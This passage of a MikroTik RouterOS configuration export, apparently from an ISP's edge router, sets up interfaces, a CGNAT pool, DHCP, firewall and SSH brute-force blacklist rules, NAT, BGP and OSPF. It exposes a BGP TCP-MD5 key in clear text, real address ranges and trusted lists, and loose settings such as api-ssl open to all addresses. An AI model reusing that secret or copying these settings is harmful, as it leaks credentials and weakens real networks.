set [ find default=yes ] name=onehuargd4a8974y79a497yi
add addresses=204.110.188.0/22,10.0.0.0/8 name=kdyyJrT0Mm
/system logging action
add name=logs remote=204.110.191.229 remote-port=1514 src-address=\
10.254.254.254 target=remote
/user group
set full policy="local,telnet,ssh,ftp,reboot,read,write,policy,test,winbox,pas\
sword,web,sniff,sensitive,api,romon,dude,tikapp"
/ip firewall connection tracking
set icmp-timeout=30s tcp-close-wait-timeout=1m tcp-established-timeout=4h \
tcp-fin-wait-timeout=2m tcp-last-ack-timeout=30s \
tcp-syn-received-timeout=1m tcp-syn-sent-timeout=2m \
tcp-time-wait-timeout=2m udp-stream-timeout=2m udp-timeout=30s
/ip neighbor discovery-settings
set discover-interface-list=!dynamic
/ip settings
set rp-filter=strict tcp-syncookies=yes
/ip address
add address=71.41.226.118/30 interface=sfp-sfpplus12-spectrum network=\
71.41.226.116
add address=204.110.191.186/30 interface=sfp-sfpplus11-preseem network=\
204.110.191.184
add address=204.110.191.254/26 interface=vlan9_sfpplus8 network=\
204.110.191.192
add address=10.254.254.254 interface=loopback network=10.254.254.254
add address=204.110.191.182/30 interface=sfp-sfpplus7-core-direct network=\
204.110.191.180
add address=10.0.0.254/24 interface=sfp-sfpplus8-server-switch network=\
10.0.0.0
add address=204.110.190.129/25 interface=cgnat network=204.110.190.128
add address=204.110.190.130/25 interface=cgnat network=204.110.190.128
add address=204.110.190.131/25 interface=cgnat network=204.110.190.128
add address=204.110.190.132/25 interface=cgnat network=204.110.190.128
add address=204.110.190.133/25 interface=cgnat network=204.110.190.128
add address=204.110.190.134/25 interface=cgnat network=204.110.190.128
add address=204.110.190.135/25 interface=cgnat network=204.110.190.128
add address=204.110.190.136/25 interface=cgnat network=204.110.190.128
add address=204.110.190.137/25 interface=cgnat network=204.110.190.128
add address=204.110.190.138/25 interface=cgnat network=204.110.190.128
add address=204.110.190.139/25 interface=cgnat network=204.110.190.128
add address=204.110.190.140/25 interface=cgnat network=204.110.190.128
add address=204.110.190.141/25 interface=cgnat network=204.110.190.128
add address=204.110.190.142/25 interface=cgnat network=204.110.190.128
add address=204.110.190.143/25 interface=cgnat network=204.110.190.128
add address=204.110.190.144/25 interface=cgnat network=204.110.190.128
add address=204.110.190.145/25 interface=cgnat network=204.110.190.128
add address=204.110.190.146/25 interface=cgnat network=204.110.190.128
add address=204.110.190.147/25 interface=cgnat network=204.110.190.128
add address=204.110.190.148/25 interface=cgnat network=204.110.190.128
add address=204.110.190.149/25 interface=cgnat network=204.110.190.128
add address=204.110.190.150/25 interface=cgnat network=204.110.190.128
add address=204.110.190.151/25 interface=cgnat network=204.110.190.128
add address=204.110.190.152/25 interface=cgnat network=204.110.190.128
add address=204.110.190.153/25 interface=cgnat network=204.110.190.128
add address=204.110.190.154/25 interface=cgnat network=204.110.190.128
add address=204.110.190.155/25 interface=cgnat network=204.110.190.128
add address=204.110.190.156/25 interface=cgnat network=204.110.190.128
add address=204.110.190.157/25 interface=cgnat network=204.110.190.128
add address=204.110.190.158/25 interface=cgnat network=204.110.190.128
add address=204.110.190.159/25 interface=cgnat network=204.110.190.128
add address=204.110.190.160/25 interface=cgnat network=204.110.190.128
add address=204.110.190.161/25 interface=cgnat network=204.110.190.128
add address=204.110.190.162/25 interface=cgnat network=204.110.190.128
add address=204.110.190.163/25 interface=cgnat network=204.110.190.128
add address=204.110.190.164/25 interface=cgnat network=204.110.190.128
add address=204.110.190.165/25 interface=cgnat network=204.110.190.128
add address=204.110.190.166/25 interface=cgnat network=204.110.190.128
add address=204.110.190.167/25 interface=cgnat network=204.110.190.128
add address=204.110.190.168/25 interface=cgnat network=204.110.190.128
add address=204.110.190.169/25 interface=cgnat network=204.110.190.128
add address=204.110.190.170/25 interface=cgnat network=204.110.190.128
add address=204.110.190.171/25 interface=cgnat network=204.110.190.128
add address=204.110.190.172/25 interface=cgnat network=204.110.190.128
add address=204.110.190.173/25 interface=cgnat network=204.110.190.128
add address=204.110.190.174/25 interface=cgnat network=204.110.190.128
add address=204.110.190.175/25 interface=cgnat network=204.110.190.128
add address=204.110.190.176/25 interface=cgnat network=204.110.190.128
add address=204.110.190.177/25 interface=cgnat network=204.110.190.128
add address=204.110.190.178/25 interface=cgnat network=204.110.190.128
add address=204.110.190.179/25 interface=cgnat network=204.110.190.128
add address=204.110.190.180/25 interface=cgnat network=204.110.190.128
add address=204.110.190.181/25 interface=cgnat network=204.110.190.128
add address=204.110.190.182/25 interface=cgnat network=204.110.190.128
add address=204.110.190.183/25 interface=cgnat network=204.110.190.128
add address=204.110.190.184/25 interface=cgnat network=204.110.190.128
add address=204.110.190.185/25 interface=cgnat network=204.110.190.128
add address=204.110.190.186/25 interface=cgnat network=204.110.190.128
add address=204.110.190.187/25 interface=cgnat network=204.110.190.128
add address=204.110.190.188/25 interface=cgnat network=204.110.190.128
add address=204.110.190.189/25 interface=cgnat network=204.110.190.128
add address=204.110.190.190/25 interface=cgnat network=204.110.190.128
add address=204.110.190.191/25 interface=cgnat network=204.110.190.128
add address=204.110.190.192/25 interface=cgnat network=204.110.190.128
add address=204.110.190.193/25 interface=cgnat network=204.110.190.128
add address=204.110.190.194/25 interface=cgnat network=204.110.190.128
add address=204.110.190.195/25 interface=cgnat network=204.110.190.128
add address=204.110.190.196/25 interface=cgnat network=204.110.190.128
add address=204.110.190.197/25 interface=cgnat network=204.110.190.128
add address=204.110.190.198/25 interface=cgnat network=204.110.190.128
add address=204.110.190.199/25 interface=cgnat network=204.110.190.128
add address=204.110.190.200/25 interface=cgnat network=204.110.190.128
add address=204.110.190.201/25 interface=cgnat network=204.110.190.128
add address=204.110.190.202/25 interface=cgnat network=204.110.190.128
add address=204.110.190.203/25 interface=cgnat network=204.110.190.128
add address=204.110.190.204/25 interface=cgnat network=204.110.190.128
add address=204.110.190.205/25 interface=cgnat network=204.110.190.128
add address=204.110.190.206/25 interface=cgnat network=204.110.190.128
add address=204.110.190.207/25 interface=cgnat network=204.110.190.128
add address=204.110.190.208/25 interface=cgnat network=204.110.190.128
add address=204.110.190.209/25 interface=cgnat network=204.110.190.128
add address=204.110.190.210/25 interface=cgnat network=204.110.190.128
add address=204.110.190.211/25 interface=cgnat network=204.110.190.128
add address=204.110.190.212/25 interface=cgnat network=204.110.190.128
add address=204.110.190.213/25 interface=cgnat network=204.110.190.128
add address=204.110.190.214/25 interface=cgnat network=204.110.190.128
add address=204.110.190.215/25 interface=cgnat network=204.110.190.128
add address=204.110.190.216/25 interface=cgnat network=204.110.190.128
add address=204.110.190.217/25 interface=cgnat network=204.110.190.128
add address=204.110.190.218/25 interface=cgnat network=204.110.190.128
add address=204.110.190.219/25 interface=cgnat network=204.110.190.128
add address=204.110.190.220/25 interface=cgnat network=204.110.190.128
add address=204.110.190.221/25 interface=cgnat network=204.110.190.128
add address=204.110.190.222/25 interface=cgnat network=204.110.190.128
add address=204.110.190.223/25 interface=cgnat network=204.110.190.128
add address=204.110.190.224/25 interface=cgnat network=204.110.190.128
add address=204.110.190.225/25 interface=cgnat network=204.110.190.128
add address=204.110.190.226/25 interface=cgnat network=204.110.190.128
add address=204.110.190.227/25 interface=cgnat network=204.110.190.128
add address=204.110.190.228/25 interface=cgnat network=204.110.190.128
add address=204.110.190.229/25 interface=cgnat network=204.110.190.128
add address=204.110.190.230/25 interface=cgnat network=204.110.190.128
add address=204.110.190.231/25 interface=cgnat network=204.110.190.128
add address=204.110.190.232/25 interface=cgnat network=204.110.190.128
add address=204.110.190.233/25 interface=cgnat network=204.110.190.128
add address=204.110.190.234/25 interface=cgnat network=204.110.190.128
add address=204.110.190.235/25 interface=cgnat network=204.110.190.128
add address=204.110.190.236/25 interface=cgnat network=204.110.190.128
add address=204.110.190.237/25 interface=cgnat network=204.110.190.128
add address=204.110.190.238/25 interface=cgnat network=204.110.190.128
add address=204.110.190.239/25 interface=cgnat network=204.110.190.128
add address=204.110.190.240/25 interface=cgnat network=204.110.190.128
add address=204.110.190.241/25 interface=cgnat network=204.110.190.128
add address=204.110.190.242/25 interface=cgnat network=204.110.190.128
add address=204.110.190.243/25 interface=cgnat network=204.110.190.128
add address=204.110.190.244/25 interface=cgnat network=204.110.190.128
add address=204.110.190.245/25 interface=cgnat network=204.110.190.128
add address=204.110.190.246/25 interface=cgnat network=204.110.190.128
add address=204.110.190.247/25 interface=cgnat network=204.110.190.128
add address=204.110.190.248/25 interface=cgnat network=204.110.190.128
add address=204.110.190.249/25 interface=cgnat network=204.110.190.128
add address=204.110.190.250/25 interface=cgnat network=204.110.190.128
add address=204.110.190.251/25 interface=cgnat network=204.110.190.128
add address=204.110.190.252/25 interface=cgnat network=204.110.190.128
add address=204.110.190.253/25 interface=cgnat network=204.110.190.128
add address=204.110.190.254/25 interface=cgnat network=204.110.190.128
/ip dhcp-server lease
add address=10.0.0.249 client-id=1:0:21:9b:91:5c:b6 mac-address=\
00:21:9B:91:5C:B6 server=380-building
add address=204.110.191.205 mac-address=BC:24:11:8B:C0:9C
add address=10.0.0.250 client-id=1:48:a9:8a:38:3b:2d mac-address=\
48:A9:8A:38:3B:2D server=380-building
add address=10.0.0.253 client-id=\
ff:ca:53:9:5a:0:2:0:0:ab:11:2c:53:dd:b2:c1:50:9a:35 comment=truenas \
mac-address=BC:24:11:29:2B:5A server=380-building
add address=10.0.0.252 client-id=1:bc:24:11:f5:81:d6 mac-address=\
BC:24:11:F5:81:D6 server=380-building
add address=10.0.0.251 client-id=1:bc:24:11:6b:73:53 mac-address=\
BC:24:11:6B:73:53 server=380-building
/ip dhcp-server network
add address=10.0.0.0/24 dns-server=9.9.9.9,1.1.1.1 domain=vntx.net gateway=\
10.0.0.254 ntp-server=23.150.41.122
add address=204.110.191.192/26 dns-server=\
204.110.191.240,204.110.191.250,1.1.1.1 gateway=204.110.191.254
/ip dns
set servers=204.110.191.240,204.110.191.250
/ip firewall address-list
add address=204.110.188.0/22 list=trusted
add address=100.64.0.0/10 list=trusted
add address=10.0.0.0/8 list=trusted
add address=35.197.73.77 list=preseem
add address=35.199.29.237 list=preseem
add address=98.97.82.0/24 comment=starlink list=trusted
add address=129.222.72.0/24 comment=starlink list=trusted
add address=129.222.73.0/24 comment=starlink list=trusted
add address=129.222.74.0/24 comment=starlink list=trusted
add address=129.222.75.0/24 comment=starlink list=trusted
add address=129.222.76.0/24 comment=starlink list=trusted
add address=129.222.77.0/24 comment=starlink list=trusted
add address=129.222.78.0/24 comment=starlink list=trusted
add address=129.222.79.0/24 comment=starlink list=trusted
add address=98.97.80.0/24 comment=starlink list=trusted
add address=98.97.81.0/24 comment=starlink list=trusted
add address=98.97.83.0/24 comment=starlink list=trusted
add address=98.97.84.0/24 comment=starlink list=trusted
add address=98.97.85.0/24 comment=starlink list=trusted
add address=98.97.86.0/24 comment=starlink list=trusted
add address=98.97.87.0/24 comment=starlink list=trusted
add address=98.97.88.0/24 comment=starlink list=trusted
add address=98.97.89.0/24 comment=starlink list=trusted
add address=98.97.90.0/24 comment=starlink list=trusted
add address=98.97.91.0/24 comment=starlink list=trusted
add address=98.97.92.0/24 comment=starlink list=trusted
add address=98.97.93.0/24 comment=starlink list=trusted
add address=98.97.94.0/24 comment=starlink list=trusted
add address=98.97.95.0/24 comment=starlink list=trusted
add address=52.158.209.86 list=trusted
add address=3.210.85.72 list=gaiia
add address=3.81.237.51 list=gaiia
add address=3.215.70.188 list=gaiia
add address=3.228.90.246 list=gaiia
add address=47.147.43.145 list=trusted
add address=71.41.226.117 comment=TWC list=BGP-NEIGHBORS
add address=204.110.191.185 comment=Preseem list=BGP-NEIGHBORS
add address=204.110.191.252 comment="Virtual RouterOS" list=BGP-NEIGHBORS
add address=204.110.188.0/22 list=bgp-networks
add address=151.243.11.0/24 list=abusive
add address=172.245.56.83 list=trusted
/ip firewall filter
add action=accept chain=input comment="BGP Input" dst-port=179 protocol=tcp
add action=accept chain=output comment="BGP Output" protocol=tcp src-port=179
add action=accept chain=forward comment="BGP Forward" dst-port=179 protocol=\
tcp
add action=accept chain=forward comment="BGP Forward Reply" protocol=tcp \
src-port=179
add action=accept chain=input comment="OSPF Input" protocol=ospf
add action=accept chain=output comment="OSPF Output" protocol=ospf
add action=accept chain=forward comment="OSPF Forward" protocol=ospf
add action=accept chain=input comment="Established Input" connection-state=\
established,related
add action=accept chain=forward comment="Established Forward" \
connection-state=established,related
add action=accept chain=input comment="Allow Remote Winbox" disabled=yes \
in-interface=*18
add action=fasttrack-connection chain=forward comment=\
"fasttrack established/related" connection-state=established,related
add action=accept chain=forward comment="accept established/related" \
connection-state=established,related
add action=drop chain=forward dst-address=91.190.98.0/24 log=yes
add action=accept chain=forward dst-port=23 protocol=tcp src-address=\
204.110.190.208
add action=accept chain=forward dst-address=204.110.191.219
add action=accept chain=forward dst-address=204.110.191.222
add action=accept chain=forward dst-address=204.110.191.252
add action=accept chain=forward dst-address=204.110.191.8
add action=accept chain=forward dst-address=204.110.191.192/26 src-address=\
52.158.209.86
add action=accept chain=forward dst-address=204.110.191.210
add action=accept chain=forward disabled=yes dst-address=204.110.191.248 \
dst-port=3306 log=yes protocol=tcp
add action=accept chain=forward dst-address=204.110.191.248 dst-port=3306 \
protocol=tcp src-address-list=gaiia
add action=accept chain=forward disabled=yes dst-address=204.110.191.248
add action=accept chain=forward dst-address=204.110.191.231
add action=accept chain=forward dst-address=204.110.191.232 in-interface=\
sfp-sfpplus12-spectrum
add action=tarpit chain=input protocol=tcp src-address-list=abusive
add action=drop chain=forward src-address-list=abusive
add action=accept chain=forward connection-state=established,related \
disabled=yes
add action=accept chain=input connection-state=established,related,untracked \
disabled=yes
add action=drop chain=forward disabled=yes dst-port=3389 in-interface=\
sfp-sfpplus12-spectrum protocol=tcp
add action=drop chain=forward disabled=yes dst-port=3389 in-interface=\
sfp-sfpplus12-spectrum protocol=udp
add action=drop chain=forward comment="Drop anyone in Black List (SSH)." \
in-interface=sfp-sfpplus12-spectrum log-prefix="BL_Black List (SSH)" \
src-address-list="Black List (SSH)"
add action=drop chain=forward comment="block incoming ftp" disabled=yes \
dst-port=21 in-interface=sfp-sfpplus12-spectrum protocol=tcp
add action=drop chain=forward comment="block incoming telnet" dst-port=23 \
in-interface=sfp-sfpplus12-spectrum protocol=tcp
add action=drop chain=input comment="Drop all packets from public internet whi\
ch should not exist in public network" in-interface=\
sfp-sfpplus12-spectrum src-address-list=NotPublic
add action=drop chain=input disabled=yes dst-port=3784 in-interface=\
sfp-sfpplus12-spectrum log=yes protocol=udp
add action=drop chain=forward comment=bfd dst-port=3784 in-interface=\
sfp-sfpplus12-spectrum protocol=udp
add action=drop chain=input comment=bfd dst-port=3784 in-interface=\
sfp-sfpplus12-spectrum protocol=udp
add action=drop chain=input comment="Drop Invalid connections" \
connection-state=invalid
add action=add-src-to-address-list address-list=winbox_blacklist \
address-list-timeout=4w3d chain=input connection-state=new disabled=yes \
dst-port=8291 log=yes protocol=tcp src-address-list=winbox_stage3
add action=add-src-to-address-list address-list=winbox_stage3 \
address-list-timeout=1m chain=input connection-state=new disabled=yes \
dst-port=8291 protocol=tcp src-address-list=winbox_stage2
add action=add-src-to-address-list address-list=winbox_stage2 \
address-list-timeout=1m chain=input connection-state=new disabled=yes \
dst-port=8291 protocol=tcp src-address-list=winbox_stage1
add action=add-src-to-address-list address-list=winbox_stage1 \
address-list-timeout=1m chain=input connection-state=new disabled=yes \
dst-port=8291 protocol=tcp src-address-list=!vntx
add action=drop chain=forward comment="drop winbox brute downstream" \
disabled=yes dst-port=8291 protocol=tcp src-address-list=winbox_blacklist
add action=accept chain=input comment="BGP Neighbors" dst-port=179 protocol=\
tcp src-address-list=BGP-NEIGHBORS
add action=drop chain=input comment="Drop anyone in Black List (SSH)." \
disabled=yes in-interface=sfp-sfpplus12-spectrum log-prefix=\
"BL_Black List (SSH)" src-address-list="Black List (SSH)"
add action=jump chain=input comment="Jump to Black List (SSH) chain." \
dst-port=22 in-interface=sfp-sfpplus12-spectrum jump-target=\
"Black List (SSH) Chain" protocol=tcp
add action=drop chain=input comment=. dst-port=23 in-interface=\
sfp-sfpplus12-spectrum protocol=tcp
add action=drop chain=forward comment=. dst-port=23 in-interface=\
sfp-sfpplus12-spectrum protocol=tcp
add action=jump chain=forward comment="Jump to Black List (SSH) chain." \
dst-port=22 in-interface=sfp-sfpplus12-spectrum jump-target=\
"Black List (SSH) Chain" protocol=tcp
add action=add-src-to-address-list address-list="Black List (SSH)" \
address-list-timeout=4w2d chain="Black List (SSH) Chain" comment="Transfer\
\_repeated attempts from Black List (SSH) Stage 3 to Black List (SSH)." \
connection-state=new in-interface=sfp-sfpplus12-spectrum log-prefix=\
"Add_Black List (SSH)" src-address-list="Black List (SSH) Stage 3"
add action=add-src-to-address-list address-list="Black List (SSH) Stage 3" \
address-list-timeout=1m chain="Black List (SSH) Chain" comment=\
"Add successive attempts to Black List (SSH) Stage 3." connection-state=\
new in-interface=sfp-sfpplus12-spectrum log-prefix=\
"Add_Black List (SSH) S3" src-address-list="Black List (SSH) Stage 2"
add action=add-src-to-address-list address-list="Black List (SSH) Stage 2" \
address-list-timeout=1m chain="Black List (SSH) Chain" comment=\
"Add successive attempts to Black List (SSH) Stage 2." connection-state=\
new in-interface=sfp-sfpplus12-spectrum log-prefix=\
"Add_Black List (SSH) S2" src-address-list="Black List (SSH) Stage 1"
add action=add-src-to-address-list address-list="Black List (SSH) Stage 1" \
address-list-timeout=1m chain="Black List (SSH) Chain" comment=\
"Add initial attempt to Black List (SSH) Stage 1." connection-state=new \
in-interface=sfp-sfpplus12-spectrum log-prefix="Add_Black List (SSH) S1" \
src-address-list=!trusted
add action=return chain="Black List (SSH) Chain" comment=\
"Return From Black List (SSH) chain."
add action=accept chain=forward disabled=yes dst-address=204.110.191.192/26 \
dst-port=3306 log=yes protocol=tcp src-address=162.243.131.32
add action=accept chain=forward dst-address=204.110.191.197
add action=accept chain=forward comment=micromirror dst-address=\
204.110.191.235
add action=accept chain=forward dst-address=204.110.191.219
add action=accept chain=forward dst-address=204.110.191.8
add action=accept chain=forward dst-address=204.110.191.192/26 protocol=icmp
add action=accept chain=forward dst-address=204.110.191.192/26 dst-port=80 \
protocol=tcp
add action=accept chain=forward dst-address=204.110.191.192/26 dst-port=443 \
protocol=tcp
add action=accept chain=forward dst-address=204.110.191.232 dst-port=14580 \
protocol=tcp
add action=accept chain=forward dst-address=204.110.191.232 dst-port=14501 \
protocol=tcp
add action=accept chain=forward comment=wireguard dst-address=204.110.191.247 \
dst-port=51820 protocol=udp
add action=accept chain=forward dst-address=204.110.191.247 dst-port=22 \
protocol=tcp
add action=drop chain=forward disabled=yes dst-address=204.110.191.192/26 \
dst-port=3306 log=yes protocol=tcp
add action=accept chain=forward dst-address=204.110.191.192/26 dst-port=53 \
protocol=udp src-address-list=trusted
add action=accept chain=forward comment=ns2 dst-address=204.110.191.239 \
dst-port=53 protocol=udp
add action=accept chain=forward comment=ns1 dst-address=204.110.191.249 \
dst-port=53 protocol=udp
add action=accept chain=forward dst-address=204.110.191.192/26 dst-port=22 \
protocol=tcp src-address-list=trusted
add action=accept chain=forward dst-address=204.110.191.192/26 dst-port=22 \
protocol=tcp src-address-list=preseem
add action=accept chain=forward dst-address=204.110.191.192/26 \
src-address-list=trusted
add action=drop chain=forward dst-address=204.110.191.192/26 \
src-address-list=!trusted
add action=drop chain=input dst-port=8921 protocol=tcp src-address-list=\
!trusted
add action=drop chain=forward dst-port=8921 protocol=tcp src-address-list=\
!trusted
add action=drop chain=input disabled=yes in-interface=sfp-sfpplus12-spectrum \
src-address=100.64.0.0/10
add action=drop chain=output disabled=yes dst-address=100.64.0.0/10 \
out-interface=sfp-sfpplus12-spectrum
add action=drop chain=forward disabled=yes in-interface=\
sfp-sfpplus12-spectrum src-address=100.64.0.0/10
add action=drop chain=forward disabled=yes out-interface=\
sfp-sfpplus12-spectrum src-address=100.64.0.0/10
add action=drop chain=forward disabled=yes dst-address=100.64.0.0/10 \
out-interface=sfp-sfpplus12-spectrum
add action=accept chain=input comment="Established Input" connection-state=\
established,related
add action=accept chain=forward comment="Established Forward" \
connection-state=established,related
add action=accept chain=input comment=BGP dst-port=179 protocol=tcp
add action=accept chain=output comment=BGP protocol=tcp src-port=179
add action=accept chain=forward comment=BGP dst-port=179 protocol=tcp
add action=accept chain=forward comment=BGP protocol=tcp src-port=179
add action=accept chain=input comment=OSPF protocol=ospf
add action=accept chain=output comment=OSPF protocol=ospf
add action=accept chain=forward comment=OSPF protocol=ospf
add action=drop chain=forward dst-port=23 log-prefix=TELNET protocol=tcp
/ip firewall mangle
add action=mark-packet chain=prerouting disabled=yes new-packet-mark=Inactive \
passthrough=no src-address-list=Inactive
add action=mark-packet chain=prerouting disabled=yes dst-address-list=\
Inactive new-packet-mark=Inactive passthrough=no
add action=accept chain=postrouting disabled=yes protocol=tcp tcp-flags=ack
/ip firewall nat
add action=src-nat chain=srcnat comment="Internal NAT catch-all" \
out-interface=sfp-sfpplus12-spectrum src-address=10.0.0.0/8 to-addresses=\
204.110.191.190
add action=src-nat chain=srcnat out-interface=sfp-sfpplus12-spectrum \
src-address=10.0.0.0/24 to-addresses=204.110.190.254
add action=src-nat chain=srcnat comment="Loopback NAT" out-interface=\
sfp-sfpplus12-spectrum src-address=10.254.254.0/24 to-addresses=\
204.110.191.190
add action=src-nat chain=srcnat comment="Loopback NAT" out-interface=\
sfp-sfpplus12-spectrum src-address=10.254.254.0/24 to-addresses=\
204.110.191.190
add action=src-nat chain=srcnat out-interface=sfp-sfpplus12-spectrum \
src-address=10.0.0.0/8 to-addresses=204.110.191.190
add action=src-nat chain=srcnat comment="Internal Network NAT" out-interface=\
sfp-sfpplus12-spectrum src-address=10.250.1.0/24 to-addresses=\
204.110.191.190
add action=src-nat chain=srcnat comment="Internal Network NAT" out-interface=\
sfp-sfpplus12-spectrum src-address=10.250.1.0/24 to-addresses=\
204.110.191.190
add action=src-nat chain=srcnat comment="fallthrough CGNAT" disabled=yes \
out-interface=sfp-sfpplus12-spectrum src-address=100.64.0.0/10 \
to-addresses=204.110.190.254
add action=netmap chain=srcnat ipsec-policy=out,none out-interface=\
sfp-sfpplus12-spectrum src-address=100.64.0.0/10 to-addresses=\
204.110.190.128/25
add action=netmap chain=dstmap comment=\
"Port Forwarding Solution for CGNAT (TCP)" dst-address=204.110.190.128/25 \
dst-port=1024-65535 protocol=tcp to-addresses=100.64.0.0/10
add action=netmap chain=dstmap comment=\
"Port Forwarding Solution for CGNAT (UDP)" dst-address=204.110.190.128/25 \
dst-port=1024-65535 protocol=udp to-addresses=100.64.0.0/10
/ip firewall raw
add action=drop chain=prerouting src-address-list="Black List (SSH)"
add action=drop chain=prerouting disabled=yes src-address-list=abusive
add action=drop chain=prerouting disabled=yes src-address-list=\
winbox_blacklist
/ip proxy
set port=23435
/ip proxy access
add src-address=204.110.188.0/22
/ip route
add distance=1 gateway=71.41.226.117
add distance=1 dst-address=10.10.0.0/20 gateway=204.110.191.185
add distance=1 dst-address=10.10.16.0/20 gateway=204.110.191.185
add distance=1 dst-address=10.250.1.8/29 gateway=204.110.191.185
add distance=1 dst-address=10.250.1.8/29 gateway=204.110.191.185
add distance=1 dst-address=10.250.1.24/29 gateway=204.110.191.185
add distance=1 dst-address=10.250.1.64/29 gateway=204.110.191.185
add distance=1 dst-address=10.250.1.64/29 gateway=204.110.191.185
add distance=1 dst-address=10.250.1.88/29 gateway=204.110.191.185
add distance=1 dst-address=10.250.1.88/29 gateway=204.110.191.185
add distance=1 dst-address=10.254.254.101/32 gateway=204.110.191.185
add distance=1 dst-address=10.254.254.102/32 gateway=204.110.191.185
add distance=1 dst-address=100.64.0.0/10 gateway=204.110.191.185
add distance=1 dst-address=100.64.0.0/22 gateway=204.110.191.185
add distance=1 dst-address=100.64.4.0/22 gateway=204.110.191.185
add distance=1 dst-address=100.64.4.0/22 gateway=204.110.191.185
add distance=1 dst-address=100.64.12.0/22 gateway=204.110.191.185
add distance=1 dst-address=172.63.0.0/20 gateway=204.110.191.253
add distance=1 dst-address=204.110.188.0/22 gateway=204.110.191.181
add distance=1 dst-address=204.110.188.0/27 gateway=204.110.191.253
add distance=1 dst-address=204.110.188.32/27 gateway=204.110.191.185
add distance=1 dst-address=204.110.188.32/27 gateway=204.110.191.185
add distance=1 dst-address=204.110.188.224/27 gateway=204.110.191.185
add distance=1 dst-address=204.110.191.0/27 gateway=204.110.191.185
/ip service
set telnet disabled=yes
set ftp disabled=yes
set www address=204.110.188.0/22 port=2080
set ssh address=204.110.188.0/22,10.0.0.0/8,100.64.0.0/10 port=1022
set api address=204.110.188.0/22,10.0.0.0/8,100.64.0.0/10
set api-ssl address=0.0.0.0/0 certificate=server
/ip ssh
set always-allow-password-login=yes forwarding-enabled=remote strong-crypto=\
yes
/ipv6 address
add address=2605:6000:0:8::f:373/127 advertise=no interface=\
sfp-sfpplus12-spectrum
add address=2606:1c80::1 interface=vlan9_sfpplus8
add address=2606:1c80:0:1002::1 interface=sfp-sfpplus11-preseem
/ipv6 firewall address-list
add address=2606:1c80::/32 list=bgp-networks
/ipv6 firewall filter
add action=accept chain=input comment="IPv6 BGP Input" dst-port=179 protocol=\
tcp
add action=accept chain=output comment="IPv6 BGP Output" protocol=tcp \
src-port=179
add action=accept chain=forward comment="IPv6 BGP Forward" dst-port=179 \
protocol=tcp
add action=accept chain=forward comment="IPv6 BGP Forward Reply" protocol=tcp \
src-port=179
add action=accept chain=input comment="IPv6 Established Input" \
connection-state=established,related
add action=accept chain=forward comment="IPv6 Established Forward" \
connection-state=established,related
/mpls interface
set [ find default=yes ] mpls-mtu=1530
add interface=sfp-sfpplus8-server-switch mpls-mtu=1530
/mpls ldp
set distribute-for-default-route=yes enabled=yes loop-detect=yes lsr-id=\
10.254.254.254 transport-address=10.254.254.254
/mpls ldp accept-filter
add
/mpls ldp advertise-filter
add
/mpls ldp interface
add disabled=yes interface=ether1
add disabled=yes interface=sfp-sfpplus11-preseem transport-address=\
10.254.254.254
add disabled=yes interface=vlan9_sfpplus8 transport-address=10.254.254.254
add interface=sfp-sfpplus8-server-switch
/routing bfd interface
set [ find default=yes ] disabled=yes
add interface=sfp-sfpplus7-core-direct
add interface=sfp-sfpplus11-preseem
/routing bgp network
add network=204.110.188.0/22 synchronize=no
add network=2606:1c80::/32 synchronize=no
/routing bgp peer
add in-filter=twc-in name=twc out-filter=twc-out remote-address=71.41.226.117 \
remote-as=11427 ttl=default
add address-families=ipv6 in-filter=twc-in name=twc-v6 out-filter=twc-out \
remote-address=2605:6000:0:8::f:372 remote-as=11427 ttl=default
add comment="TEAM-CYMRU BOGON Server #1" disabled=yes in-filter=\
BOGON-SERVER-IN max-prefix-limit=50 multihop=yes name=CYMRU-1 out-filter=\
BGP-DROP remote-address=38.229.6.20 remote-as=65332 tcp-md5-key=\
mC9LaaOi0P
add comment="TEAM-CYMRU BOGON Server #2" disabled=yes in-filter=\
BOGON-SERVER-IN max-prefix-limit=50 multihop=yes name=CYMRU-1 out-filter=\
BGP-DROP remote-address=38.229.46.20 remote-as=65332 tcp-md5-key=\
mC9LaaOi0P
add address-families=ip,ipv6 default-originate=always disabled=yes name=\
edge_core_preseem nexthop-choice=propagate out-filter=bgp-default-only \
remote-address=204.110.191.185 remote-as=393837
/routing filter
add action=accept chain=twc-out comment=blackhole disabled=yes prefix=\
204.110.188.197 prefix-length=32 set-bgp-communities=7486:666
add action=accept chain=twc-in prefix=0.0.0.0/0
add action=accept chain=twc-in prefix=0.0.0.0/0 prefix-length=0
add action=discard chain=twc-in disabled=yes prefix=0.0.0.0 prefix-length=\
0-32 protocol=""
add action=accept chain=twc-out prefix=204.110.188.0/22
add action=accept chain=twc-out prefix=2606:1c80::/32
add action=discard chain=twc-out
add action=discard chain=BGP-DROP
add action=accept bgp-communities=65333:888 chain=BOGON-SERVER-IN disabled=\
yes set-type=blackhole
add action=discard chain=BOGON-SERVER-IN disabled=yes
add action=discard chain=BGP-DROP
add action=accept chain=bgp-default-only disabled=yes prefix=0.0.0.0/0 \
prefix-length=0
add action=discard chain=bgp-default-only disabled=yes prefix=0.0.0.0/0 \
prefix-length=0-32
/routing ospf interface
add interface=sfp-sfpplus12-spectrum network-type=broadcast passive=yes
add interface=sfp-sfpplus11-preseem network-type=point-to-point use-bfd=yes
add cost=20 interface=sfp-sfpplus9 network-type=nbma use-bfd=yes
add interface=sfp-sfpplus10 network-type=nbma passive=yes
add cost=20 interface=ether1 network-type=broadcast
add interface=sfp-sfpplus8-server-switch network-type=broadcast
add cost=100 interface=sfp-sfpplus7-core-direct network-type=point-to-point \
use-bfd=yes
add interface=vlan9_sfpplus8 network-type=nbma
/routing ospf nbma-neighbor
add address=204.110.191.189 poll-interval=10s
add address=10.250.1.94
add address=10.250.1.57
add address=10.250.1.201
add address=10.250.2.1
add address=204.110.191.185 poll-interval=10s
add address=204.110.191.252 poll-interval=10s
/routing ospf network
add area=backbone
/routing ospf-v3 interface
add area=backbone
add area=backbone interface=sfp-sfpplus12-spectrum network-type=broadcast \
passive=yes
/routing rip
set distribute-default=always redistribute-connected=yes redistribute-ospf=\
yes
/routing rip interface
add interface=sfp-sfpplus11-preseem
add interface=sfp-sfpplus7-core-direct
add interface=sfp-sfpplus8-server-switch
/routing rip network
add
/snmp
set contact="Verona Networks" enabled=yes location="Verona Networks"
/system clock
set time-zone-name=America/Chicago
/system identity
set name=edge
/system logging
add action=logs topics=info
/system note
set note="__ __\
\n\\ \\ / /__ _ __ ___ _ __ __ _\
\n \\ \\ / / _ \\ '__/ _ \\| '_ \\ / _` |\
\n \\ V / __/ | | (_) | | | | (_| |\
\n \\_/ \\___|_| \\___/|_| |_|\\__,_|\
\n _ _ _ _\
